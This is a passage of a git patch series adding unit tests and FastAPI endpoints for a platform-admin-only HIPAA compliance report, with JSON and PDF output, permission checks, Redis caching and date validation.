patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + members = await auth_client.get_org_members(1, "Bearer tok") + self.assertEqual(members, []) + + async def test_non_list_body_returns_empty_list(self) -> None: + ctx, _ = _mock_client(_resp(200, {"unexpected": "shape"})) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + members = await auth_client.get_org_members(1, "Bearer tok") + self.assertEqual(members, []) + + +class ListAllAuditEventsTestCase(unittest.IsolatedAsyncioTestCase): + async def test_single_page_stops_after_total_pages(self) -> None: + ctx, mock_client = _mock_client(_resp(200, {"items": [{"id": 1}], "total_pages": 1})) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + items, truncated = await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + self.assertEqual(len(items), 1) + self.assertFalse(truncated) + self.assertEqual(mock_client.get.call_count, 1) + + async def test_follows_pagination_across_multiple_pages(self) -> None: + ctx, mock_client = _mock_client( + _resp(200, {"items": [{"id": 1}], "total_pages": 2}), + _resp(200, {"items": [{"id": 2}], "total_pages": 2}), + ) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + items, truncated = await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + self.assertEqual([i["id"] for i in items], [1, 2]) + self.assertFalse(truncated) + + async def test_organization_id_none_omits_param(self) -> None: + ctx, mock_client = _mock_client(_resp(200, {"items": [], "total_pages": 0})) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + await auth_client.list_all_audit_events( + organization_id=None, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + _, kwargs = mock_client.get.call_args + self.assertNotIn("organization_id", kwargs["params"]) + + async def test_event_type_filter_is_forwarded(self) -> None: + ctx, mock_client = _mock_client(_resp(200, {"items": [], "total_pages": 0})) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + event_type="login_success", authorization="Bearer tok", + ) + _, kwargs = mock_client.get.call_args + self.assertEqual(kwargs["params"]["event_type"], "login_success") + + async def test_unreachable_returns_empty_not_truncated(self) -> None: + mock_client = MagicMock() + mock_client.get = AsyncMock(side_effect=httpx.ConnectError("refused")) + mock_ctx = MagicMock() + mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) + mock_ctx.__aexit__ = AsyncMock(return_value=False) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=mock_ctx): + items, truncated = await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + self.assertEqual(items, []) + self.assertFalse(truncated) + + +if __name__ == "__main__": + unittest.main() diff --git a/backend/tests/test_compliance_billing_client.py b/backend/tests/test_compliance_billing_client.py new file mode 100644 index 00000000..925c1b3d --- /dev/null +++ b/backend/tests/test_compliance_billing_client.py @@ -0,0 +1,89 @@ +"""Unit tests for control_center.compliance.billing_client.""" +from __future__ import annotations + +import unittest +from datetime import date +from unittest.mock import AsyncMock, MagicMock, patch + +import httpx + +from control_center.compliance import billing_client + + +def _resp(status_code: int, json_body=None) -> MagicMock: + r = MagicMock() + r.status_code = status_code + r.json.return_value = json_body + return r + + +def _mock_client(*responses: MagicMock): + mock_client = MagicMock() + if len(responses) > 1: + mock_client.get = AsyncMock(side_effect=list(responses)) + else: + mock_client.get = AsyncMock(return_value=responses[0]) + mock_ctx = MagicMock() + mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) + mock_ctx.__aexit__ = AsyncMock(return_value=False) + return mock_ctx, mock_client + + +class ListAllUsageEventsTestCase(unittest.IsolatedAsyncioTestCase): + async def test_single_page_stops_when_offset_reaches_total(self) -> None: + ctx, mock_client = _mock_client(_resp(200, {"events": [{"event_id": "a"}], "total_count": 1})) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + events, truncated = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual(len(events), 1) + self.assertFalse(truncated) + self.assertEqual(mock_client.get.call_count, 1) + + async def test_follows_pagination_via_offset(self) -> None: + ctx, mock_client = _mock_client( + _resp(200, {"events": [{"event_id": "a"}], "total_count": 2}), + _resp(200, {"events": [{"event_id": "b"}], "total_count": 2}), + ) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + events, truncated = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual([e["event_id"] for e in events], ["a", "b"]) + self.assertFalse(truncated) + + async def test_resource_filter_is_forwarded(self) -> None: + ctx, mock_client = _mock_client(_resp(200, {"events": [], "total_count": 0})) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), + resource="rag.query", authorization="Bearer tok", + ) + _, kwargs = mock_client.get.call_args + self.assertEqual(kwargs["params"]["resource"], "rag.query") + + async def test_unreachable_returns_empty_not_truncated(self) -> None: + mock_client = MagicMock() + mock_client.get = AsyncMock(side_effect=httpx.ConnectError("refused")) + mock_ctx = MagicMock() + mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) + mock_ctx.__aexit__ = AsyncMock(return_value=False) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=mock_ctx): + events, truncated = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual(events, []) + self.assertFalse(truncated) + + async def test_non_200_stops_and_returns_partial(self) -> None: + ctx, _ = _mock_client(_resp(500)) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + events, truncated = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual(events, []) + self.assertFalse(truncated) + + +if __name__ == "__main__": + unittest.main() diff --git a/backend/tests/test_compliance_service.py b/backend/tests/test_compliance_service.py new file mode 100644 index 00000000..abafaf80 --- /dev/null +++ b/backend/tests/test_compliance_service.py @@ -0,0 +1,221 @@ +"""Unit tests for control_center.compliance.service.build_report -- +auth_client/billing_client are patched out entirely (their own httpx +behavior is covered by test_compliance_auth_client.py/ +test_compliance_billing_client.py); this file only proves the +aggregation/shaping logic on top of them. +""" +from __future__ import annotations + +import unittest +from datetime import date +from unittest.mock import AsyncMock, patch + +from control_center.compliance import service + +_MEMBERS = [ + {"user_id": 1, "email": "alice@kumc.edu", "status": "active", "roles": ["member"]}, + {"user_id": 2, "email": "bob@kumc.edu", "status": "active", "roles": ["org_admin"]}, +] + + +def _patch_all(*, org=None, members=None, login_success=None, login_failure=None, org_events=None, rag_events=None, + trunc_success=False, trunc_failure=False, trunc_org=False, trunc_rag=False): + return [ + patch("control_center.compliance.service.auth_client.get_organization", AsyncMock(return_value=org)), + patch("control_center.compliance.service.auth_client.get_org_members", AsyncMock(return_value=members or [])), + patch( + "control_center.compliance.service.auth_client.list_all_audit_events", + AsyncMock(side_effect=[ + (login_success or [], trunc_success), + (login_failure or [], trunc_failure), + (org_events or [], trunc_org), + ]), + ), + patch("control_center.compliance.service.billing_client.list_all_usage_events", AsyncMock(return_value=(rag_events or [], trunc_rag))), + ] + + +class BuildReportTestCase(unittest.IsolatedAsyncioTestCase): + async def test_basic_shape_and_organization_name(self) -> None: + patches = _patch_all(org={"id": 1, "name": "KUMC Research"}, members=_MEMBERS) + for p in patches: + p.start() + try: + report = await service.build_report( + organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), + generated_by="admin@omnibioai.org", authorization="Bearer tok", + ) + finally: + for p in patches: + p.stop() + + self.assertEqual(report["organization_name"], "KUMC Research") + self.assertEqual(report["organization_id"], 1) + self.assertEqual(report["summary"]["total_users"], 2) + self.assertEqual(report["generated_by"], "admin@omnibioai.org") + + async def test_organization_name_falls_back_when_org_lookup_fails(self) -> None: + patches = _patch_all(org=None, members=_MEMBERS) + for p in patches: + p.start() + try: + report = await service.build_report( + organization_id=9, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), + generated_by="admin@omnibioai.org", authorization="Bearer tok", + ) + finally: + for p in patches: + p.stop() + self.assertEqual(report["organization_name"], "Organization #9") + + async def test_login_events_filtered_to_org_members_only(self) -> None: + login_success = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-05T10:00:00"}, + {"actor_user_id": None, "actor_email": None, "metadata": {"email": "outsider@other.org"}, "created_at": "2026-08-05T11:00:00"}, + ] + patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_success=login_success) + for p in patches: + p.start() + try: + report = await service.build_report( + organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), + generated_by="admin@omnibioai.org", authorization="Bearer tok", + ) + finally: + for p in patches: + p.stop() + + labels = [r["user_label"] for r in report["user_access"]] + self.assertIn("alice@kumc.edu", labels) + self.assertNotIn("outsider@other.org", labels) + + async def test_user_access_aggregates_login_count_and_last_login(self) -> None: + login_success = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-05T10:00:00"}, + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-20T10:00:00"}, + ] + login_failure = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-06T10:00:00"}, + ] + patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_success=login_success, login_failure=login_failure) + for p in patches: + p.start() + try: + report = await service.build_report( + organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), + generated_by="admin@omnibioai.org", authorization="Bearer tok", + ) + finally: + for p in patches: + p.stop() + + alice = next(r for r in report["user_access"] if r["user_label"] == "alice@kumc.edu") + self.assertEqual(alice["login_count"], 2) + self.assertEqual(alice["failed_attempts"], 1) + self.assertEqual(alice["last_login"], "2026-08-20T10:00:00") + self.assertEqual(report["summary"]["active_users"], 1) + + async def test_rag_queries_resolve_user_id_to_member_email(self) -> None: + rag_events = [ + {"timestamp": "2026-08-10T09:00:00", "user_id": "2", "trace_id": "trace-1"}, + {"timestamp": "2026-08-11T09:00:00", "user_id": "999", "trace_id": "trace-2"}, + ] + patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, rag_events=rag_events) + for p in patches: + p.start() + try: + report = await service.build_report( + organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), + generated_by="admin@omnibioai.org", authorization="Bearer tok", + ) + finally: + for p in patches: + p.stop() + + by_trace = {r["trace_id"]: r["user_label"] for r in report["rag_queries"]} + self.assertEqual(by_trace["trace-1"], "bob@kumc.edu") + self.assertEqual(by_trace["trace-2"], "999") + self.assertEqual(report["summary"]["total_rag_queries"], 2) + + async def test_security_events_classifies_denial_vs_ordinary_change(self) -> None: + org_events = [ + {"event_type": "role_assigned", "actor_email": "bob@kumc.edu", "actor_user_id": 2, "created_at": "2026-08-12T10:00:00"}, + {"event_type": "role_assignment_denied", "actor_email": "bob@kumc.edu", "actor_user_id": 2, "created_at": "2026-08-13T10:00:00"}, + {"event_type": "sso_configuration_updated", "actor_email": None, "actor_user_id": None, "created_at": "2026-08-14T10:00:00"}, + # not in _SECURITY_EVENT_TYPES -- must be excluded + {"event_type": "some_unrelated_type", "actor_email": "bob@kumc.edu", "actor_user_id": 2, "created_at": "2026-08-15T10:00:00"}, + ] + patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, org_events=org_events) + for p in patches: + p.start() + try: + report = await service.build_report( + organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), + generated_by="admin@omnibioai.org", authorization="Bearer tok", + ) + finally: + for p in patches: + p.stop() + + by_type = {r["event_type"]: r for r in report["security_events"]} + self.assertEqual(by_type["role_assigned"]["outcome"], "success") + self.assertEqual(by_type["role_assignment_denied"]["outcome"], "deny") + self.assertEqual(by_type["sso_configuration_updated"]["actor_label"], "system") + self.assertNotIn("some_unrelated_type", by_type) + self.assertEqual(report["summary"]["security_incidents"], 1) # role_assignment_denied only + + async def test_login_failures_appear_in_security_events(self) -> None: + login_failure = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-06T10:00:00"}, + ] + patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_failure=login_failure) + for p in patches: + p.start() + try: + report = await service.build_report( + organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), + generated_by="admin@omnibioai.org", authorization="Bearer tok", + ) + finally: + for p in patches: + p.stop() + + failed_login_rows = [r for r in report["security_events"] if r["event_type"] == "login_failure"] + self.assertEqual(len(failed_login_rows), 1) + self.assertEqual(failed_login_rows[0]["outcome"], "failure") + self.assertEqual(report["summary"]["security_incidents"], 1) + + async def test_truncated_flag_propagates_from_any_source(self) -> None: + patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, trunc_rag=True) + for p in patches: + p.start() + try: + report = await service.build_report( + organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), + generated_by="admin@omnibioai.org", authorization="Bearer tok", + ) + finally: + for p in patches: + p.stop() + self.assertTrue(report["truncated"]) + + async def test_no_activity_returns_empty_sections(self) -> None: + patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS) + for p in patches: + p.start() + try: + report = await service.build_report( + organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), + generated_by="admin@omnibioai.org", authorization="Bearer tok", + ) + finally: + for p in patches: + p.stop() + self.assertEqual(report["user_access"], []) + self.assertEqual(report["rag_queries"], []) + self.assertEqual(report["security_events"], []) + self.assertEqual(report["summary"]["security_incidents"], 0) + + +if __name__ == "__main__": + unittest.main() From c65a79d6856f6a91cc008be164538b1cdd13e63f Mon Sep 17 00:00:00 2001 From: Manish Kumar Date: Tue, 11 Aug 2026 23:33:58 -0500 Subject: [PATCH 3/8] feat: GET /compliance/hipaa-report JSON endpoint Step 4 of the Basic HIPAA Compliance Report (Studio v0.8.0). compliance/router.py, wired into main.py alongside analytics_router (same "no blanket router-level dependency, each route requires manage_all_orgs individually" posture). platform_admin-only (manage_all_orgs permission) -- confirmed via HTTP: platform_admin 200, org_admin token without that permission 403, regular member 403, missing/invalid token 401. org_admin scoping deferred to v0.9.0 per the confirmed scope decision. Params: from_date/to_date/org_id (all required), 400 if from_date > to_date. Cached 1hr via the existing analytics/cache.py::get_or_set_async (reused as-is, not a second caching mechanism) -- verified same-params requests hit cache (build_report called once), different org_id does not share a cache entry. generated_by resolves from the verified token's email claim, falling back to sub. 12 new tests (RBAC matrix, param validation, cache behavior). Full backend suite: 1195 passed, 99.67% coverage (98% gate). --- .../src/control_center/compliance/router.py | 81 ++++++++++ backend/src/control_center/main.py | 6 + backend/tests/test_compliance_router.py | 146 ++++++++++++++++++ 3 files changed, 233 insertions(+) create mode 100644 backend/src/control_center/compliance/router.py create mode 100644 backend/tests/test_compliance_router.py diff --git a/backend/src/control_center/compliance/router.py b/backend/src/control_center/compliance/router.py new file mode 100644 index 00000000..f399146f --- /dev/null +++ b/backend/src/control_center/compliance/router.py @@ -0,0 +1,81 @@ +"""GET /compliance/hipaa-report[/pdf|/csv] -- Basic HIPAA Compliance +Report (OmniBioAI Studio v0.8.0). Platform_admin-only for this version: +org_admin scoping is deferred to v0.9.0 -- two of the four sections' +sources (login events, the security-audit deny stream) have no org-scoped +read path today, and building one is a real backend change in +omnibioai-auth, not something this report's own router can paper over +(see compliance/service.py's module docstring for the full reasoning). + +Every route: 1) requires manage_all_orgs (the same platform-admin bypass +permission every other /platform/* surface in this ecosystem already +uses -- auth/app/rbac.py::MANAGE_ALL_ORGS, reused verbatim, not +redefined); 2) reads-through the existing 1-hour-capable Redis cache +(analytics/cache.py -- this package doesn't own a second caching +mechanism); 3) delegates all aggregation to service.py -- no computation +happens in this file. +""" +from __future__ import annotations + +from datetime import date +from typing import Optional + +from fastapi import APIRouter, Depends, Header, HTTPException, Query + +from control_center.analytics import cache +from control_center.compliance import service +from control_center.core.auth import require_permission + +router = APIRouter(prefix="/compliance", tags=["compliance"]) + +# Same string omnibioai-auth's app/rbac.py::MANAGE_ALL_ORGS, +# omnibioai-billing's core/iam.py, and control-center's own +# analytics/permissions.py already check -- one ecosystem-wide meaning, +# not redefined per module. +MANAGE_ALL_ORGS = "manage_all_orgs" + +_CACHE_TTL_SECONDS = 3600 # task brief: "Cache report 1hr (expensive query)" + +_require_platform_admin = require_permission(MANAGE_ALL_ORGS) + + +def _cache_key(organization_id: int, from_date: date, to_date: date) -> str: + return f"compliance:hipaa-report:{organization_id}:{from_date.isoformat()}:{to_date.isoformat()}" + + +def _generated_by(payload: dict) -> str: + return payload.get("email") or payload.get("sub") or "unknown" + + +def _validate_range(from_date: date, to_date: date) -> None: + if from_date > to_date: + raise HTTPException(400, "from_date must be on or before to_date") + + +async def _build_cached_report( + *, org_id: int, from_date: date, to_date: date, generated_by: str, authorization: Optional[str], +) -> dict: + key = _cache_key(org_id, from_date, to_date) + return await cache.get_or_set_async( + key, + "hipaa_report", + lambda: service.build_report( + organization_id=org_id, from_date=from_date, to_date=to_date, + generated_by=generated_by, authorization=authorization, + ), + ttl=_CACHE_TTL_SECONDS, + ) + + +@router.get("/hipaa-report") +async def hipaa_report( + from_date: date = Query(...), + to_date: date = Query(...), + org_id: int = Query(...), + authorization: Optional[str] = Header(default=None), + admin: dict = Depends(_require_platform_admin), +) -> dict: + _validate_range(from_date, to_date) + return await _build_cached_report( + org_id=org_id, from_date=from_date, to_date=to_date, + generated_by=_generated_by(admin), authorization=authorization, + ) diff --git a/backend/src/control_center/main.py b/backend/src/control_center/main.py index d3367f01..ab8ec6f5 100644 --- a/backend/src/control_center/main.py +++ b/backend/src/control_center/main.py @@ -50,6 +50,7 @@ from control_center.api.routes_platform_config_proxy import router as platform_config_proxy_router from control_center.api.routes_platform_interactions_proxy import router as platform_interactions_proxy_router from control_center.analytics.router import router as analytics_router +from control_center.compliance.router import router as compliance_router from control_center.api.routes_cloud import router as cloud_router from control_center.api.routes_integrations import router as integrations_router from control_center.core.auth import require_permission @@ -189,6 +190,11 @@ def _setup_logging() -> logging.Logger: # reason: a single blanket permission here would either over- or # under-restrict across the different roles analytics needs to serve. app.include_router(analytics_router) +# HIPAA Basic Compliance Report v0.8.0: no blanket router-level permission +# dependency here either, same reasoning as analytics_router immediately +# above -- each route already requires manage_all_orgs individually +# (compliance/router.py's own _require_platform_admin). +app.include_router(compliance_router) # ============================================================================== diff --git a/backend/tests/test_compliance_router.py b/backend/tests/test_compliance_router.py new file mode 100644 index 00000000..e150f50a --- /dev/null +++ b/backend/tests/test_compliance_router.py @@ -0,0 +1,146 @@ +"""End-to-end tests for GET /compliance/hipaa-report via FastAPI's +TestClient, mirroring test_analytics_router.py's own conventions (real +JWTs against a patched JWT_SECRET, FakeRedis for the cache layer, +service.build_report itself mocked out -- its own aggregation logic is +covered by test_compliance_service.py, not re-tested here). +""" +from __future__ import annotations + +import unittest +from unittest.mock import AsyncMock, patch + +import jwt +from fastapi.testclient import TestClient + +from control_center.compliance.router import MANAGE_ALL_ORGS +from control_center.core import jwt_verify as jwt_verify_module +from control_center.main import app +from _fake_redis import FakeRedis + +client = TestClient(app) +SECRET = "test-secret" + +_REPORT_STUB = { + "organization_id": 1, + "organization_name": "KUMC Research", + "from_date": "2026-08-01", + "to_date": "2026-08-31", + "generated_at": "2026-08-11T12:00:00+00:00", + "generated_by": "admin@omnibioai.org", + "summary": {"total_users": 2, "active_users": 1, "total_rag_queries": 3, "security_incidents": 0}, + "user_access": [], + "rag_queries": [], + "security_events": [], + "truncated": False, +} + + +def _token(**claims) -> str: + return jwt.encode(claims, SECRET, algorithm="HS256") + + +def _auth(**claims) -> dict: + return {"Authorization": f"Bearer {_token(**claims)}"} + + +class ComplianceRouterTestCase(unittest.TestCase): + def setUp(self) -> None: + jwt_patcher = patch.object(jwt_verify_module, "JWT_SECRET", SECRET) + jwt_patcher.start() + self.addCleanup(jwt_patcher.stop) + + self.fake = FakeRedis() + from control_center.analytics import cache as cache_module + cache_patcher = patch.object(cache_module, "_redis", self.fake) + cache_patcher.start() + self.addCleanup(cache_patcher.stop) + + self.build_report_mock = AsyncMock(return_value=dict(_REPORT_STUB)) + build_report_patcher = patch( + "control_center.compliance.router.service.build_report", self.build_report_mock, + ) + build_report_patcher.start() + self.addCleanup(build_report_patcher.stop) + + def _params(self, **overrides): + params = {"from_date": "2026-08-01", "to_date": "2026-08-31", "org_id": 1} + params.update(overrides) + return params + + +class AuthenticationTestCase(ComplianceRouterTestCase): + def test_missing_token_returns_401(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params()) + self.assertEqual(r.status_code, 401) + + def test_invalid_token_returns_401(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params(), headers={"Authorization": "Bearer garbage"}) + self.assertEqual(r.status_code, 401) + + +class RbacTestCase(ComplianceRouterTestCase): + def test_platform_admin_allowed(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 200) + + def test_org_admin_without_manage_all_orgs_denied(self) -> None: + """v0.8.0 is platform_admin-only -- an org_admin token (no + manage_all_orgs permission) is 403, unlike /analytics/* which + does grant org_admin scoped access. Deferred to v0.9.0 -- see + compliance/service.py's own module docstring.""" + headers = _auth(sub="1", permissions=[], org_id=1, org_role=["org_admin"]) + r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 403) + + def test_regular_user_denied(self) -> None: + headers = _auth(sub="1", permissions=[], org_id=1, org_role=["member"]) + r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 403) + + +class HipaaReportEndpointTestCase(ComplianceRouterTestCase): + def test_returns_report_body(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 200) + self.assertEqual(r.json()["organization_name"], "KUMC Research") + + def test_missing_required_params_returns_422(self) -> None: + r = client.get("/compliance/hipaa-report", params={"from_date": "2026-08-01"}, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 422) + + def test_from_date_after_to_date_returns_400(self) -> None: + params = self._params(from_date="2026-08-31", to_date="2026-08-01") + r = client.get("/compliance/hipaa-report", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 400) + + def test_generated_by_uses_token_email_claim(self) -> None: + headers = _auth(sub="1", email="alice@kumc.edu", permissions=[MANAGE_ALL_ORGS]) + r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 200) + _, kwargs = self.build_report_mock.call_args + self.assertEqual(kwargs["generated_by"], "alice@kumc.edu") + + def test_generated_by_falls_back_to_sub_without_email_claim(self) -> None: + headers = _auth(sub="42", permissions=[MANAGE_ALL_ORGS]) + r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 200) + _, kwargs = self.build_report_mock.call_args + self.assertEqual(kwargs["generated_by"], "42") + + def test_second_request_hits_cache_not_build_report_again(self) -> None: + headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) + r1 = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + r2 = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.assertEqual(r1.status_code, 200) + self.assertEqual(r2.status_code, 200) + self.assertEqual(self.build_report_mock.await_count, 1) + + def test_different_org_id_is_not_cached_together(self) -> None: + headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report", params=self._params(org_id=1), headers=headers) + client.get("/compliance/hipaa-report", params=self._params(org_id=2), headers=headers) + self.assertEqual(self.build_report_mock.await_count, 2) + + +if __name__ == "__main__": + unittest.main() From f43e2916744511e07a424a8a874b9e1ebe2b1745 Mon Sep 17 00:00:00 2001 From: Manish Kumar Date: Tue, 11 Aug 2026 23:37:24 -0500 Subject: [PATCH 4/8] feat: GET /compliance/hipaa-report/pdf endpoint Step 5 of the Basic HIPAA Compliance Report (Studio v0.8.0). GET /compliance/hipaa-report/pdf: same _build_cached_report call as the JSON endpoint (Step 4) -- same cache key shape, so a PDF request after a JSON request for the same org/date-range reuses the already-cached data instead of recomputing it (verified by test: build_report called once across both routes) -- then renders it via compliance/pdf.py (WeasyPrint, Step 2) and returns it as an attachment download. WeasyPrint's layout pass is a real blocking CPU cost, not I/O -- run via loop.run_in_executor, the same off-event-loop pattern api/routes_llm.py's own count_abstracts/list_indexed_domains already use for their blocking filesystem walks, so one PDF render doesn't stall every other concurrent request this process is serving. Same platform_admin-only RBAC as the JSON endpoint (manage_all_orgs). 6 new tests (valid PDF response, Content-Disposition filename, RBAC, date validation, cache reuse across JSON+PDF). Full backend suite: 1201 passed, 99.67% coverage (98% gate). --- .../src/control_center/compliance/router.py | 37 ++++++++++++++++++- backend/tests/test_compliance_router.py | 36 ++++++++++++++++++ 2 files changed, 72 insertions(+), 1 deletion(-) diff --git a/backend/src/control_center/compliance/router.py b/backend/src/control_center/compliance/router.py index f399146f..71119f10 100644 --- a/backend/src/control_center/compliance/router.py +++ b/backend/src/control_center/compliance/router.py @@ -16,13 +16,15 @@ """ from __future__ import annotations +import asyncio from datetime import date from typing import Optional from fastapi import APIRouter, Depends, Header, HTTPException, Query +from fastapi.responses import Response from control_center.analytics import cache -from control_center.compliance import service +from control_center.compliance import pdf, service from control_center.core.auth import require_permission router = APIRouter(prefix="/compliance", tags=["compliance"]) @@ -79,3 +81,36 @@ async def hipaa_report( org_id=org_id, from_date=from_date, to_date=to_date, generated_by=_generated_by(admin), authorization=authorization, ) + + +def _filename_stem(org_id: int, from_date: date, to_date: date) -> str: + return f"hipaa-report-org{org_id}-{from_date.isoformat()}-to-{to_date.isoformat()}" + + +@router.get("/hipaa-report/pdf") +async def hipaa_report_pdf( + from_date: date = Query(...), + to_date: date = Query(...), + org_id: int = Query(...), + authorization: Optional[str] = Header(default=None), + admin: dict = Depends(_require_platform_admin), +) -> Response: + _validate_range(from_date, to_date) + context = await _build_cached_report( + org_id=org_id, from_date=from_date, to_date=to_date, + generated_by=_generated_by(admin), authorization=authorization, + ) + # WeasyPrint's layout pass is a real, blocking CPU cost (not I/O) -- + # off the event loop via run_in_executor, the same pattern + # api/routes_llm.py's own count_abstracts/list_indexed_domains already + # use for their blocking filesystem walks, so this request doesn't + # stall every other concurrent request this process is serving. + loop = asyncio.get_event_loop() + pdf_bytes = await loop.run_in_executor(None, pdf.render_report_pdf, context) + + filename = f"{_filename_stem(org_id, from_date, to_date)}.pdf" + return Response( + content=pdf_bytes, + media_type="application/pdf", + headers={"Content-Disposition": f'attachment; filename="{filename}"'}, + ) diff --git a/backend/tests/test_compliance_router.py b/backend/tests/test_compliance_router.py index e150f50a..1dce3f71 100644 --- a/backend/tests/test_compliance_router.py +++ b/backend/tests/test_compliance_router.py @@ -142,5 +142,41 @@ def test_different_org_id_is_not_cached_together(self) -> None: self.assertEqual(self.build_report_mock.await_count, 2) +class HipaaReportPdfEndpointTestCase(ComplianceRouterTestCase): + def test_platform_admin_gets_pdf(self) -> None: + r = client.get("/compliance/hipaa-report/pdf", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 200) + self.assertEqual(r.headers["content-type"], "application/pdf") + self.assertTrue(r.content.startswith(b"%PDF-")) + + def test_content_disposition_filename(self) -> None: + r = client.get("/compliance/hipaa-report/pdf", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertIn('filename="hipaa-report-org1-2026-08-01-to-2026-08-31.pdf"', r.headers["content-disposition"]) + + def test_org_admin_without_manage_all_orgs_denied(self) -> None: + headers = _auth(sub="1", permissions=[], org_id=1, org_role=["org_admin"]) + r = client.get("/compliance/hipaa-report/pdf", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 403) + + def test_missing_token_returns_401(self) -> None: + r = client.get("/compliance/hipaa-report/pdf", params=self._params()) + self.assertEqual(r.status_code, 401) + + def test_from_date_after_to_date_returns_400(self) -> None: + params = self._params(from_date="2026-08-31", to_date="2026-08-01") + r = client.get("/compliance/hipaa-report/pdf", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 400) + + def test_pdf_and_json_share_the_same_cache_entry(self) -> None: + """Both routes call _build_cached_report with the same cache key + shape -- the PDF endpoint should reuse a JSON request's already- + cached data instead of recomputing it.""" + headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + r = client.get("/compliance/hipaa-report/pdf", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 200) + self.assertEqual(self.build_report_mock.await_count, 1) + + if __name__ == "__main__": unittest.main() From 3e5abd6de126b9162dc574f5045a1a2dcd815578 Mon Sep 17 00:00:00 2001 From: Manish Kumar Date: Tue, 11 Aug 2026 23:39:39 -0500 Subject: [PATCH 